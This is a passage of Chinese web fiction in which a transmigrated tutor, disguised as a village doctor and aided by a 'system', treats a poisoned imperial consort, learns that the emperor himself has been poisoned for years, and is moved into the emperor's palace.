如今倒春寒,即使入春,外面仍然冷得人哆嗦,但大明殿内暖如晚春,香炉里的香被暖气一烘,更是馥郁,仿若置身人造的花海。
四周确实有宫人在侍候,但均垂首站在墙角,一点声音都不发出,骤一看见还挺吓人。
“杵在那儿干嘛?”
宫殿深处,有人询问出声,语气很散漫,听不住刚才摔杯子砸碗的气势。
余逢春向前看去,在两道帷幔后面,瞥见一道影影绰绰的影子,有宫人正跪在地上收拾碎片,几不可闻的声音从帷幔深处传来。
大明殿是皇上寝宫,除了随侍的宫人和妃嫔,一般人没有资格进。
余逢春当即在帷幔外跪下,叩首问安。
从来到这个世界开始,他已经数不清自己跪了多少次,又磕了几个头。
其实他不太在意这些,只是活着的手段而已,不丢人。
余逢春已经想好该怎么解释梁妃的症状了。
然后他左思右想,左等右等,帷幔里的人却始终一言不发,等的余逢春都有点心虚了,怕人是不是已经猝死,才听见邵逾白说话。
“跪那么远做什么?过来!”
像是在叫小狗,非常没有礼貌。
要是换以前,余逢春大嘴巴已经抽他脸上了,可惜物是人非,只能老老实实走进帷幔中。
收拾碎片的宫人已经无声退下,余逢春跪在厚实的地毯上,没觉得多难受,仗着殿内灯光昏暗,他抬起头来。
邵逾白好像已经准备睡下了,头发散下,垂在肩侧,只着一身单衣,且没好好系扣子,露出一片胸膛,很不体面。
余逢春抬头的时候,他正坐在床上,也在盯着余逢春看。
“……!”
余逢春瞬间低下头,假装刚才什么都没发生。
然而面前人又不是瞎子,目睹了他抬头看人又迅速低头的全过程,邵逾白觉得有意思,从床上下来,赤脚走在地毯上。
“低头干什么?”他停在余逢春面前,“刚才胆子不挺大的吗?”
阴影投下,压迫感很重,换做其他人,想起邵逾白曾经的“丰功伟绩”,这时候可能已经哆嗦着哭出来了。
可不知是不是过往的记忆在起作用,余逢春始终没在邵逾白身上找到应该有的暴戾残忍。
就如同与一个朋友多年不见,离别时是什么样子,再见时仍然是那样,只是面容多了点沧桑,人还是那个人。
因此,他真的没有害怕。
“草民久在乡里,见识短浅,偶然得见天颜,实在情不自禁,请皇上恕罪!”
这是很标准的答案,中规中矩中带着点奉承,邵逾白应当耳朵都听得起茧子了,没什么新意。
可余逢春刚一说完,眼前人就好像听到了什么绝世好笑话,大笑出声,笑得手指都哆嗦。
“……”
余逢春真是无语至极,仗着自己低头,和0166吐槽,“有什么好笑的?”
0166懒得理他俩。
邵逾白笑得很痛快,到后面嗓子都哑了,咳嗽两声,才不情不愿地停住。
他仍然蹲在余逢春面前,似是觉得看不见脸很不爽,于是又如前几天那样,手指熟门熟路地掐住余逢春的下巴,强行让他抬起头。
冰凉的手指与温柔的皮肤接触,冰得人心口发凉。
现在不是冬天,大明殿更是温暖如春,邵逾白身高八尺有余,一向健康,手脚怎么会变成这样?
余逢春暗觉不好,当即让系统开启检测模式。
0166照做:[检测模式已开启,请宿主保持身体接触,如果在结束前断开的话,检测会失败。]
“……”
余逢春跪在地上,怔怔地与邵逾白对视,望着那双黑眸中倒映出自己。
他顺从着抬起头,邵逾白却没有立即收回手,反而就着这个姿势,轻而缓慢地摩挲着他的下巴,眼中闪过一抹回忆的色彩。
“梁妃,是寡人几年前去景潭寺上香时,于后山偶然遇见。”邵逾白突然说。
“那时她穿一身青色衣衫,又破又脏,像只猴子,很不整齐,已经快饿疯了,满脑子只想着吃。”
余逢春眼前浮现出一个模糊的形象。
几年前的梁妃骨瘦如柴、衣衫不整,如今却养得体态轻盈柔软,当然是恩宠的功劳。
邵逾白继续说:“寡人觉得有意思,便带在身边,想看看能长成什么样子,一看就是好几年。”
“……”余逢春张张嘴,直觉该说些什么,但思来想去,却只能很干瘪地说:“草民一定竭尽全力救治娘娘。”
邵逾白哼笑一声:“你当然得竭尽全力,不然……”
他没有说下去,但威胁意味已经很明显。
他是皇上,谁不合他意,谁就去死,他不需要承诺,人命就是承诺。
余逢春:“草民明白。”
邵逾白又道:“梁妃对寡人来说,不是小猫小狗那么简单。”
“是,草民知道。”
系统检测程序即将结束,0166开始十秒倒计时。
邵逾白笑了一下,指腹用力,在余逢春下颚处掐了一下,留下点痛。
接着,他要离开。
可倒计时还有8秒钟,要是现在离开,一切前功尽弃。
情急之下,余逢春想都没想,抬手抓住邵逾白的手腕,不让他离开,同时脸朝旁边一侧,极其依恋地躺进他的手心里。
做完这一切后,余逢春才意识到自己做了什么,相当忐忑地看去。
视线中,邵逾白眉毛微挑,没生气,只等着他解释。
余逢春:“……”
脑海中0166宣布检测结束,但没说结果,估计是怕影响他发挥。
余逢春又沉默了一会儿,眼看着再不解释就要糊弄不过去了,才慢吞吞地开口:“陛下待娘娘如珍似宝,令人佩服。”
说着,他松开手,如尴尬一般往后挪挪,面上一片晕红。
明明是极普通的一张脸,可羞涩时晕红似云霞一般,一双眼眸中仿佛有星辰闪烁,很招人。
邵逾白盯着余逢春眼角的红,觉得喉咙干渴,久违地想咬点什么。
他收回手,想都没想就直接说:“如珍似宝倒不至于。”
梁妃不是小猫小狗,但也不是珍宝。
太诚实了,给原本就非常尴尬的余逢春重重一击。
“起来吧。”
好在邵逾白没有纠缠,也没纠结刚才余逢春在发什么疯,起身后
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撩起帷幔,走向床边。
坐在床头,邵逾白低低咳嗽两声,余逢春站得远,只依稀看见他用手帕遮住嘴。
又是两声。
咳嗽完,邵逾白将手帕随意地扔在地上。
“今天叫你过来,是想问问梁妃的病情。”他说。“寡人于治国上不大精通,到处都靠丞相费心,但寡人不傻,见过不少聪明人,知道什么人在说谎,知道什么人说的是实话。”
“你若老实回答,那一切好说,你要是觉得自己聪明,想欺君,寡人自然也给你个新去处。”
这也是句威胁,但效果要比之前的每一句都好,因为邵逾白完全把话讲明白了。
——他清楚梁妃的病有问题,也知道太医院所说的身体亏损不过是套话,他任由余逢春胡说,为的就是余逢春在分析病情的时候提到了中毒二字。
邵逾白曾经也是真切地手握天下过,从一些细枝末节中察觉出事态有异,对他来说不难。
余逢春不合时宜地体会到了骄傲。
大明殿内一片寂静,早在邵逾白伸手去碰余逢春的脸的时候,守在一旁的宫人就都退了出去。
眼下四周无人,或许正是最好的时机。
“殿下,梁妃娘娘的症状确实是中毒,但却与时节等无关,而是有人蓄意谋害!”
邵逾白坐在床上,神色难辨喜怒,沉声道:“你为什么这么说?”
一时间,余逢春脑中闪过无数合理的解释。
而斟酌之后,他答:“草民少时随祖父行医,见过一例病患,与梁妃娘娘的症状几乎一致,加之梁妃娘娘在中毒之前身体一向康泰,故有此判断。”
“那名病患怎么样了?”邵逾白问。
余逢春深深叩首:“草民无用,没能救治成功,病患已往生极乐。”
“……”
怕邵逾白万念俱灰,余逢春又急忙道:“不过这几日据草民的观察,梁妃娘娘身上中的毒虽然与那名病患同出一源,但有所不同,应当不至于害人性命。只要细细斟酌用药,还是有可能恢复如初的!”
他说得很快,但每个字都咬得清楚,生怕邵逾白听不清。
可余逢春说完以后,等了很长一段时间,邵逾白都一言不发。
不得已,余逢春朝床边看去。
邵逾白人在那里,魂却在别的地方。
余逢春刚才的那些话,像是让他想到了什么东西,眼神飘得很远,有很细的哀伤蔓延出来。
“……那名病患,长什么样?”
良久后,他问。
余逢春愣住了。
“就是普通人的样子,”他说,“男人,高个子,长得挺好看。”
“他有说过他叫什么名字吗?”
这人是自己胡编出来的,怎么会有名字?
余逢春摇摇头:“没有,我们只和他匆匆见过几面,确定自己身上的毒无药可医后,他就走了。”
他说得含糊,可邵逾白却从他的话里辨别出什么,脸上表情骤变,眉头紧锁,眼底闪过一丝愤怒,嘴角微微颤抖,好像有一捧蓬勃的火在他体内燃烧。
砰!
榻上用来装饰的花瓶,被用力挥倒在地上,顷刻间碎成一地碎片,余逢春吓了一跳,看到邵逾白胸口剧烈起伏,整个人被暴怒包裹。
可即使发出这么大的声音,也没有任何一位侍从敢进来查看情况。
余逢春只能自己控制局面。
“陛下!”他大声说,“梁妃娘娘不会死的!”
邵逾白的动作骤然顿住,仿佛清醒过来,脸上的表情也有片刻凝固,整个人像是忽然卸了力气,无力地摇晃片刻,跌在床上。
“邵逾白!”
余逢春没想到他会有这么大的反应,真吓坏了,扑上去扶住人的肩膀。
“你有没有事?!”
听到他的声音,邵逾白眼珠转动着朝他看去,恍恍惚惚。
“……寡人没事。”邵逾白说。
他的眼还是无神的,大概率没听到余逢春刚才喊他的名字。
余逢春也冷静下来。
“陛下心神悸动,待会儿睡前要喝些安神汤,”他没有放开手,只是低声嘱咐,“梁妃娘娘会没事的。”
闻听此言,邵逾白在他手里低笑一声,沙哑讽刺。
“寡人知道,”他道,“有事的人不会是她。”
……
“江大夫,你可以走了。”
27. 解毒条件
[他刚才是生气了吗?]
离开大明殿,0166悄声问道。
无论哪个世界,主角都不会是暴躁易怒的性格,况且0166的系统数据里还记载着这个世界的邵逾白是什么样子。
刚才发生的一切,不光超出了余逢春的意料,也让0166有点过载。
“我不知道,应该吧,”余逢春快步走在回去的路上,任由身后跟着的一堆人小跑起来,“我更想知道的是为什么。”
明明前一秒钟还否认自己重视梁妃,怎么下一秒钟就开始生气?
余逢春不觉得邵逾白会突然变成精神病,那就只剩下一个解释。
——他信口胡诌出来的“病患”,让邵逾白联想到了某个真实存在的人。
而那个人会是谁,就显而易见了。
“……真是完蛋。”
低声咒骂一句,余逢春回到住所,关上门,连鞋都没脱就躺在床上,觉得今天晚上发生了好多事,自己老了好多岁。
守卫和内监在门口转来转去,隐隐能看见身影投在窗纸上。
余逢春下床洗漱,吹灭蜡烛,再躺回床上时感觉清醒了一点。
也终于有心情理会刚才一直试图无视的问题。
“检测结果怎么样?”余逢春深吸一口气,问道。
0166:[中毒。]
“是梁妃那种,还是……”
[你,]0166道,[系统检测结果显示,主角体内的毒素,与当年从你体内提取出来的成分一致。]
这个回答不在意料之外,倒不是说余逢春真觉得会有个好结果。
可是为什么?
“我明明当时已经阻断了他死的唯一可能,为什么他还是会中毒?”
事情发展到这个地步,这已经不是中不中毒的问题了,而是主角能否顺利留存的问题。
那味毒药说好听点叫无解之毒,说难听点就是系统空间专门用来终结主角程序的数据,一旦感染,绝无存活可能。
余逢春当时拦下毒药,照理说不会出现第二次,可没想到邵逾白还是在他不在的时候中了招。
[这……]
0166也很懵,主角以前死叫皆大欢喜,现在死叫同归于尽。
很不应该。
余逢春坐起身,盯着床头的花瓶发呆。
“那任务还继续吗?”他没头没脑地问,“毒药解不开,我再努力也没招……要不要申请中止?”
由宿主方面申请的任务中止,会在年度总结的时候列入系统方案中,属于处分的一种。
0166很坚定:[不行,绝对不行!]
[我现在就回总部申请,解除这个限制。]
它急吼吼地说完,眨眼间就挂上待机提醒,离开了。
“哎,”余逢春眨眨眼,没想到它这么着急,“先别走,我还没问完!”
没有回应。
几秒钟后,余逢春眼前浮现出一块提示板:什么?
余逢春问:“他是什么时候中的毒?”
提示板闪动两秒,浮现出0166的回复。
七年前。
……
七年前。
余逢春怔怔地躺回床上。
他从没问过邵逾白是在什么契机下开始转变,现在看,身中剧毒大概是个很好的理由。
“一群王八蛋……”
余逢春终于体会到了邵逾白那一瞬间的愤怒,恨不得将一切都砸个粉碎,扔在那群混账脸上。
仗着他不在,全来欺负他的学生——
黑夜,一切看不真切。
朦胧的光影中,余逢春脸上扯出一个似笑非笑的狰狞表情,一点也没有刚才说要中止任务的轻松随意。
放弃任务是不可能放弃的,他要把毒药和着碎瓷片一起,全灌进下毒人的嘴里。
*
*
*
第四日,梁妃醒了。
负责喂水的小宫女瞥见她在床上点动的手指,惊得摔了瓷碗,一路大呼小叫地把余逢春叫进宫殿,哭的一把鼻涕一把泪。
梁妃是他们的主子,也是他们在后宫里高人一等的保证,如今没事,当然喜不自胜。
余逢春跪在榻前,仔细查看了梁妃的身体状况,确定除了昏迷造成的疲乏虚弱外,毒药没有太大的损害。
“娘娘目前无事了。”余逢春说,嘱咐宫女小心喂点水,饮食上清淡些。
掌事宫女连忙答应,眼中也藏着热泪。
一时间,春熙宫内陷入欢喜的混乱中。
这头,余逢春交代完事情,发现梁妃正盯着自己看。
邵逾白说几年前见到梁妃的时候,她又黑又瘦,像只猴子,可现在的梁妃面若鹅蛋,昏睡多日仍然明眸皓齿,是个天生的美人。
出门上个香都能碰到这样的美人,邵逾白运气不错。
余逢春轻声问道:“娘娘有什么要吩咐的吗?”
“……你救了本宫?”梁妃问。
她刚从昏迷中醒来,即使喂了水,嗓音还是轻且沙哑,听着很虚弱。
余逢春很谦虚:“都是太医院诸位同僚的功劳,我只不过是帮了点小忙。”
梁妃闻言轻笑一声,神色相当不屑,像是也知道太医院的诊治没什么用。
余逢春看她逐渐恢复精神,也有力气说话,想着自己毕竟是外男,总待在妃子床榻前不太好,便行礼后离开了。
路过门口时,余逢春看见一个小太监朝着宫殿走去,周围的人纷纷给他让路,很好奇,便顺手拉住一旁的小宫女。
“他是谁?”
小宫女循着他指的方向看去,了然道:“是皇上身边的人。”
应当是听说梁妃苏醒,所以派过来看看。
余逢春很奇怪:“皇上不亲自来?”
小宫女更奇怪地看了他一眼:“皇上日理万机,有那么多事要操劳,怎么可能时时都能来?”
余逢春欲言又止。
话是这么说,但最宠爱的妃子趟过鬼门关,不来看看合适吗?
况且如今绍齐,真正日理万机的人是万朝玉,邵逾白就是个被架起来的纸灯笼,没什么真正要他操劳的事。
如果想来盼望,肯定是能抽出时间的。
不来,只可能是因为不想,或者觉得没必要。
结合昨夜邵逾白说过的话,余逢春直觉里面有蹊巧。
……
回到住所,还没来得及坐下,余逢春就听到脑子里叮的一声,0166回来了。
“怎么样?”
余逢春倒了杯水,坐下边喝边问。
[申请下来了。]0166说。
明明机械音一点起伏变动都没有,但余逢春就是觉得0166说话时有种气喘吁吁的感觉。
估计和负责这一板块的系统吵了很长的一架。
“怎么解毒?”
0166安静片刻,道:[我最近会下载一个解毒模块。]
余逢春挑了一块点心扔进嘴里:“然后?”
[然后你需要和主角保持身体接触24个小时,保证解毒模块的正常运行,才能完成解毒。]
“……”
余逢春沉默了。
好刁钻的解毒条件。
“意思是我要24小时贴在他身上?你怎么不干脆买个强力胶带,把我们俩缠一起算了。”
0166冷笑一声:[你以为我不想?]
这系统为了得高分已经魔怔了。
好在冷笑完后,0166又道:[这个不要求连续,只要保持身体接触的时间达到24小时就可以。]
他又问:“那梁妃怎么办?”
[这个你不用担心,]0166说,[我已经在帮她运行匹配了,等研制出药方,我会告诉你的。]
那还行。余逢春点点头,开始计划怎么能在不被砍头的前提下多和邵逾白产生身体接触。
应该不会很难。
门外忽然传来敲击声,余逢春走过去打开门,发现是梁妃身边的掌事宫女。
宫女笑的和婉:“江大夫,我们娘娘让我赏你。”
说着,她将厚厚一包银子塞进余逢春手里。
“这点银子,就当请江大夫喝茶,多谢您这些日的费心。”宫女说,“娘娘听说您是民间来的,直夸您医者仁心呢!”
余逢春顺势接过,也跟着笑个不停:“不敢不敢,能进宫一趟给娘娘诊治,是我的福气。”
见他收下银子,宫女面上的笑意更深了。
“那日后,也多请江大夫费心。”她说,“您照顾好娘娘,日后还是有赏的。”
留在梁妃宫中,就有机会见到邵逾白。
见到邵逾白,才有机会给他解毒。
余逢春没有不应的道理:“那是自然。”
两人都对这个结果很满意。
……
于是往后几天,余逢春充分表现出了一个拿人钱财、替人消灾的好大夫的形象,每日晨昏定省,格外关心梁妃的恢复状况。
在关心过程中,他也顺便让0166研究一下毒药的变种,看看能不能顺着线索查出是谁下毒。
梁妃是洪启十六年生,今年满打满算,才刚满20。
平常妃子久在宫闱,多少会养出谨言慎行的性情,不知是不是因为梁妃得宠太盛,竟然一点都没变,还是爱说爱闹。
而余逢春在这个世界当了太久的先生,身上自然而然有种耐心温和的书卷气,让人喜欢亲近。
梁妃认定余逢春是她的救命恩人,心里对他没有防备,加上许久没有出宫,便格外喜欢让余逢春给她讲宫外的事。
余逢春把她当孩子看,能讲的都讲给她听,两个人相处的不错,没有太多的约束。
只是最想见的那个人,却始终没有出现。
邵逾白已经四五日没来了,余逢春想找人问问,却发现根本不用打听,宫里谁都知道,皇上最近新得了个戏班子,正上头呢。
梁妃自然也清楚。
“谁不喜欢看戏呀?”她并不在意,乐呵呵的,“吃着点心听着戏,本宫也喜欢。”
余逢春冷眼旁观,意识到梁妃真是这样想,而且春熙宫的人完全没有惊慌的意思。
看来即使是平日里,邵逾白也不常来。
果然民间传闻里十有八九都是假的,那些侍寝一月之类全是屁话。
可这样一来,问题就更大了。
他是皇上
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专门为梁妃请的大夫,除非有召见,否则不能到处乱走。
想见邵逾白,只能等邵逾白自己凑上门。
余逢春之前完全没想到会这么难。
“他会被毒死吗?”
邵逾白又一日没来,余逢春很担心地问。
[不会,]0166淡定极了,[他服用的毒药不如你多,而且时间很长,是日积月累的水磨功夫,不会突然毒发。]
到底是皇上,如果暴毙,一定会有人查到底,还不如慢慢磨死,大家都安心。
可日积月累也就说明,直到现在,邵逾白身边都有人在持续下毒。
天杀的,都欺负到人头上了。
余逢春默默从心里记上一笔,准备等时机到了一并报复。
……
又过了几天,邵逾白始终不出现,在外面玩的很快乐,梁妃一点都没当回事,每日不是和宫女笑笑闹闹,就是挑些新首饰新绸缎打扮自己。
皇上下旨,梁妃养病,不许外人探望,因此春熙宫里只有自己人,梁妃很放松。
一日诊脉结束,她突然说:“江大夫,晚上能不能烦请您过来一下?”
余逢春停住脚步,回过身来:“娘娘有何吩咐?”
梁妃笑笑:“本宫吩咐小厨房做了些民间小吃,不知道有哪些能入口,哪些不能,想让你帮忙看看。”
毒素被压制下去后,梁妃的身体一天比一天好,她不满意前些天吃的清粥小菜,饮食逐渐多样起来。
这不是多让人为难的事,余逢春躬身应下。
夜晚降临,余逢春如约到来,看到小厨房送来的菜已经在桌上摆好了。
梁妃却还没入座,正站在屏风边上,秀眉微蹙,和一名小太监说些什么。
有宫女在一旁看着,余逢春不能向前,只隐约听到些,是梁妃嘱咐家人不要在京中横行霸道,进入如今富贵来之不易,要谨言慎行。
嘱咐完以后,梁妃理理裙摆,走到桌前。
照着0166的判断,余逢春将桌上的菜品挨个说了一遍。
梁妃放下心来,开开心心地坐下,准备用膳。
也正是在这个时候,余逢春不知道等了多久的人终于来了。
“皇上驾到!”
晚膳被打断,众人连忙下跪迎驾。
余逢春站在角落,看着数日不见的邵逾白大步跨过门槛,穿着一身靛蓝常服,上面用金银线绣着团龙纹样,行走间仿佛有光在布料上流动。
他今日的发髻梳得规整,仿佛刻意打扮过,往那儿一站,身姿挺拔,颇有往日谦谦君子的风度。
邵逾白走进宫内,一眼就注意到了跪在人群后面的余逢春。
“起来吧。”
只看一眼,他便收回目光,淡淡地问:“爱妃身体可好些了?”
殿内气氛骤然凝重,每个人都提着一口气。
梁妃站起身,走到邵逾白身旁,细声细气地说:“有劳皇上关心,臣妾感觉好多了。”
“嗯……”
邵逾白看着桌上的菜式,笑了一下:“确实是好多了。”
随着他的目光,梁妃也看到了桌上的那些宫外小吃,脸颊不由飘起一丝绯红。
她试探道:“这些都是宫外的吃食,上不了台面,皇上要是想用膳,我吩咐小厨房做些精致的吧?”
“不用。”邵逾白一扬手,拒绝了。
他说:“我以前跟着先生读书,也常常吃这些东西。”
先生,自然指的就是余逢春。
宫里人都知道,皇帝提起他那位先生的时候,脾气总会好一些,也愿意笑笑。
梁妃自然也清楚,听见他这么一说,便适当地玩笑道:“那皇上快尝尝,看看宫里宫外做的一样吗?”
邵逾白哼笑一声,眉眼中有笑意流动。
他没动筷子,反而问:“你现在的身子,能吃这些吗?”
梁妃闻言连忙道:“可以了,江大夫都看过,只要少吃就行。”
到底年轻,一听邵逾白有不让她吃的意思,马上就急了。
而邵逾白也正好听到了自己想听的。
“江大夫?”
梁妃连连点头,发间首饰簌簌摇动,耀眼夺目。
“是呀,臣妾能捡回这条命,多亏了皇上召名医入宫,臣妾感激不尽。”
“能救你一命,也是造化。”邵逾白看向站在角落里的余逢春,意味不明地笑了一下,“你倒是物尽其用。”
仿佛自己也清楚叫民间大夫在晚膳时帮忙看菜是不大妥当的,梁妃尴尬笑笑,而后撒娇道:
“若皇上觉得江大夫有更大的用处,尽管带走,臣妾绝不会阻拦!”
这话实际上虚得很,就是皇帝与宠妃之间的玩笑话。
梁妃随口说的,以为邵逾白也会随口糊弄过去。
然而没想到的是,邵逾白甫一听到她这么说,当即放下筷子。
“既然爱妃都这么说了……江大夫!”
他朗声喊道,余逢春后背一激灵,顶着众人的目光挪到最前面。
“草民在。”
“吃完这顿饭,随我回大明殿。”邵逾白说,没看他,漫不经心地喝了口茶。
“以后近身伺候吧。”
28. 万嫔
众人面面相觑,还是梁妃先反应过来。
“来人!”
她叫来掌事宫女。“去把江大夫的东西都收拾好。”
宫女领命离开,梁妃言笑晏晏地向前几步,扶起余逢春。
她柔声道:“江大夫救本宫一命,本宫感激不尽,望江大夫日后医术能更加出众,救更多人。”
余逢春抬眸看她,发现梁妃布满笑意的眼眸中藏着隐约的担忧,话倒是说的真情实意。
他后退一步:“草民记得娘娘的教诲。”
场面话说完,梁妃满意松开手,走到桌前,陪邵逾白用膳。
从头至尾,邵逾白没朝余逢春的方向看过一眼,好像刚才的话真的随口一说。
可回大明殿的时候,事情却又不是这样。
按照宫里规矩,余逢春只能跟在仪仗后面走去大明殿。
可春熙宫和大明殿离得很远,来回要走很长的路,加上宫内烛火点得不多,因此一路格外昏暗,看不清脚下。
余逢春跟在最后面,看着最前方的仪仗摇摇晃晃,每一步都走得很小心,生怕把前面人的鞋跟踩掉。
0166在跟他分析怎么样才能尽快达成24小时艰巨任务,余逢春心不在焉地听着,忽然看到前方的仪仗停了下来,有人小跑着过来。
“江大夫!”
卫贤小喘着说:“陛下请您过去。”
余逢春愣住,想不通邵逾白这次叫自己过去干什么。
见他停在原地不动,卫贤有点儿急了,再也不见之前的冷淡。
“你快过去,圣上等着呢!”
余逢春无法,跟这卫贤走到最前面。
邵逾白正在轿辇上等着他,听见脚步声,斜撑着头瞥过来,眼神锐利,随后又缓缓化开。
“上来。”他言简意赅。
随着他的话语,抬轿的太监放下轿辇,等着余逢春上去。
余逢春看看轿辇,又看看在一旁的侍从。
邵逾白坐着的的轿辇和平常的绘制不一样,更大些,也更软和舒服,坐两个人绰绰有余,躺下也没什么大问题。
这种轿辇很适合做些不大体面的事,皇宫外对此有许多传闻。
只是余逢春看邵逾白的表情,觉得他什么都没想,单纯是想让他上去坐着。
“……”
犹豫片刻,余逢春什么都没说,上轿坐在邵逾白身边,两人之间隔了很大一块距离。
太监起轿,继续往前走。
站在一旁的卫贤松了口气,陈和呵呵笑着,像是在感叹年轻人沉不住气。
余逢春一路如坐针毡。
虽然不用走路确实很好,但邵逾白的种种举动总让他有种不祥的预感,好像伪装已经被扒开,他是谁大家都清楚。
“……”
余逢春想说点类似于感恩皇上恩德的废话,可屡次长嘴,却只能看到邵逾白疲倦闭上的眼睛,于是话都咽了回去。
一路无言,他们回到大明殿。
刚下轿子,余逢春就看到一个候在门口、衣着艳丽的娇俏女子。
邵逾白也看见了,眉毛皱得很紧,随后又快速松开,仿佛无事发生。
女子走到他们面前,娇弱地跪下磕头。
邵逾白停住脚步,居高临下地打量着她的头饰衣裙。
片刻后,他开口问:“你是谁?”
“奴婢名叫唤月,是万嫔娘娘送来的。”
万嫔?
余逢春眉心一动,0166自动上线:[万淳婉,京城万氏,是万朝玉的亲戚,三年前入宫。]
宫女直起腰,声音娇媚,仍然柔弱地低着头,却很恰好地露出一截白嫩的脖颈,配上发间水润耀眼的坠子,格外让人心动。
邵逾白自然也瞧见了,眸色闪动,嘴角挂出一个饶有兴致的笑。
他将腕间玉珠取下来,拿在手里一摇一晃地甩,举止颇有些风流。
“万嫔送来的?”
唤月柔声道:“是。”
“以前是干什么的?”
“奴婢以前在宫中侍奉茶水。”
长得这样娇美,又穿得鲜艳,以前是侍奉茶水,现在来大明殿就不一定了。
邵逾白笑笑,意味不明地道:“真是暴殄天物。”
余逢春站在边上瞧他神色,发现那些笑都是流于表面,假得很。
可别人看不出来,宫女一听到他这么说,当即面上一喜,想谢恩。
可邵逾白夸完以后,却头也不回地朝殿内走去,没再往后看一眼,直接把众人晾在原地。
余逢春差点就要替别人尴尬了。
好在陈和是个靠谱的。
“既然皇上夸了你,那你就留下吧,”他对唤月笑道,“万嫔娘娘好妙的心思,前几日大明殿刚没了个侍奉茶水的,不如你顶上。”
能留下就好,没指望别的,唤月没有任何意见,当即应下。
于是陈和挥挥手,叫来一个宫女,让她带唤月去安置。
接着,陈和又想起什么。
“唤月姑娘。”
他叫住将要离开的两人。
唤月回过身,看到这位有名的好性子公公对着她笑得和蔼。
“往后姑娘在大明殿侍奉,就不要穿得这样娇俏鲜艳了。”陈和说,语气平稳。
“陛下不喜欢在身边看到太鲜艳的颜色,有时候心里烦闷,会拿姑娘撒火的。”
此言一出,唤月想起传言里那些被打得血肉模糊,抬出宫的宫女太监,娇俏的小脸当即白下去,无言跟着宫女离开。
余逢春看完陈和敲打唤月的全过程,觉得很有趣,也知道下一个就轮到自已,便站在旁边等着。
可没想到的是,陈和吩咐完其他人,再回身看他的时候,笑得既亲和又恭敬。
“江大夫,”他微微一躬身,“圣上没吩咐,奴才也不敢妄自安排,您先住下,等明日再看圣上如何?”
“……”
除了他活着的时候,余逢春从没见过这么好说话的陈和。
“那,”他眨眨眼,“那麻烦和公公了。”
陈和哈哈笑了两声。
“这有什么好麻烦的,奴才当值大明殿,这都是应该的。”
语罢,他叫来卫贤,让他带余逢春去休息。
两个人交流了几句,余逢春没听清,只发觉卫贤听到以后眼神有些古怪,还转头打量了他好一会儿,然后才点点头。
他走到余逢春面前:“江大夫,请!”
余逢春朝殿内看了一眼,烛火摇曳,分不清谁在哪里,邵逾白早就不见了。
幸好明天还能见。
余逢春跟着卫贤离开。
然后他就被带到了大明殿偏殿。
站在一片金碧辉煌中,余逢春不可置信。
“我住这儿???”
他问卫贤。
卫贤也困惑过,不过他已经成功说服了自己,因此面对余逢春的不解,他相当淡定地点点头:“对。”
这对吗?
这不对吧。
余逢春绕着侧殿转了一圈,撩开好几道珠帘,难以接受,站在床前又问了一遍:“我真住这里?”
“对。”卫贤很厌倦,“你快休息吧!”
余逢春不肯坐下:“我要是睡在这里,明天整个后宫,不,整个京城都会知道。”
“那又怎么样?”
卫贤和他对峙,恹恹地说:“这种恩典,别人一辈子都求不来,你该感恩戴德。”
余逢春:“……”
0166适时插嘴:[今晚你睡在这里,明天大家就会猜测你什么时候会被纳入后宫。]
余逢春:“……”
他痛苦地:“求你了,闭嘴。”
也不知道让他住在侧殿,是邵逾白的意思,还是陈和自作主张。
余逢春又在着原地绕了两圈,抬头就瞅见卫贤跟看笑话似的盯着他。
以前那个走路时一边流鼻涕一摔跟头的小屁孩,有什么资格看他的笑话?
余逢春冷笑一声,也不准备改了。
睡就睡,外面爱怎么传就怎么传,他身正不怕影子斜。
要是邵逾白真要忤逆,先抽一巴掌再说。
想到这里,余逢春二话没说,直接倒在了床上。
“劳烦卫公公带路,”他懒洋洋地说,“我要就寝了,卫公公自便。”
有一种破罐子破摔的松弛感。
卫贤站在床边,被他的无所顾忌噎了一下。
不知道是不是因为黑灯瞎火,头脑不清醒,他总觉得这个江大夫的行为处事很熟悉,让他想起一个人。
可是这个人是皇上的禁忌,不能随便想。
卫贤抿抿嘴,没了心情,行礼后离开了。
听到大门合拢的声音,余逢春相当迅速地睡了过去。
……
第二天没人喊他起床,余逢春睡到日上三竿,才睁开眼。
看到外面亮堂堂的阳光,余逢春抱着被子想了一会儿,决定无论如何都得去见见邵逾白。
拉开床边帷幔,听见他起床动静的宫女已经准备好洗漱用具,余逢春一下床,她们就整整齐齐地将他围住。
崭新的衣服,崭新的发饰,余逢春好像误入某种变装游戏中,被指挥着团团转,然后在镜子里看见了一个截然不同的自己。
“这不太好吧。”
盯着镜子里的人,余逢春罕见的有些忐忑。
无他,尚衣局制成的青色新衣,配上极雅致的发饰,从乡下进京碰运气的江大夫摇身一变,又有了八年前那位名动京城的余先生的影子。
[有什么不好的?]0166反问。
[主角明显对余逢春这个身份有一定好感,你可以借助这个拉进你和主角的距离。]
“我怕的不是这个,”余逢春凝重地说,“我是怕他认出我。”
[怎么可能?]0166借用余逢春之前的话,[你不是很有信心吗?]
“……”
邵逾白的种种表现太过奇怪,余逢春以前有
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信心,现在没有了。
他拉住一位要离开的宫女:“姐姐!”
宫女停住脚步,余逢春问:“这身衣服是怎么回事?”
“江大夫穿着不舒服吗?”宫女问。
“啊,这倒不是,”余逢春摇头,“我只是一介乡野村夫,这种华贵的料子,我穿着不大敢动。”
宫女闻言笑了。
“这是皇上吩咐的,江大夫尽管穿。衣服嘛,坏了就换一件,不必担忧。”
余逢春松开手,放她离开。
“你听见了吗?”他问0166。
0166:[……听见了。]
这衣服是邵逾白安排的。
余逢春觉得后背一阵发凉,半秒钟都不想等了,随意吃了两块糕点,起身就朝正殿走去。
一路上,余逢春遇见许多人,宫女太监守卫,什么都有,但发现他是朝正殿走后,没有一人阻拦,好像被提前通知过。
余逢春越走越心慌,恨不得一步跨到邵逾白面前。
然而极不凑巧的是,余逢春刚来到正殿,就看到殿外站着一名衣着华贵的女子,同样在等待召见。
这名女子面容娇艳、体态丰腴,浑身的金贵气质,一看就是世家大族中耗尽金银堆砌出来的美人。
如果说梁妃身上有种乡野间的灵动自然,那这个女人,便是奢靡厅堂中盛开的一朵花,娇美昂贵。
万嫔淳婉。
意识到她是谁,余逢春远远停住脚步,可来不及了,女人已经看见他了。
“哎,那个过来!”
一个小宫女冲着余逢春高声喊,“说你呢,娘娘见你,快过来!”
余逢春无法,只能慢腾腾地走过去行礼。
“草民叩见万嫔娘娘。”
万嫔吊着一双丹凤眼,居高临下地打量着余逢春的衣着服饰,一言不发,余逢春只能跪着等。
大明殿外的地砖冷得很,跪一会儿就膝盖生疼。余逢春等了许久,才等到万嫔开口。
“你就是那个昨夜从梁妃宫里过来的太医?”
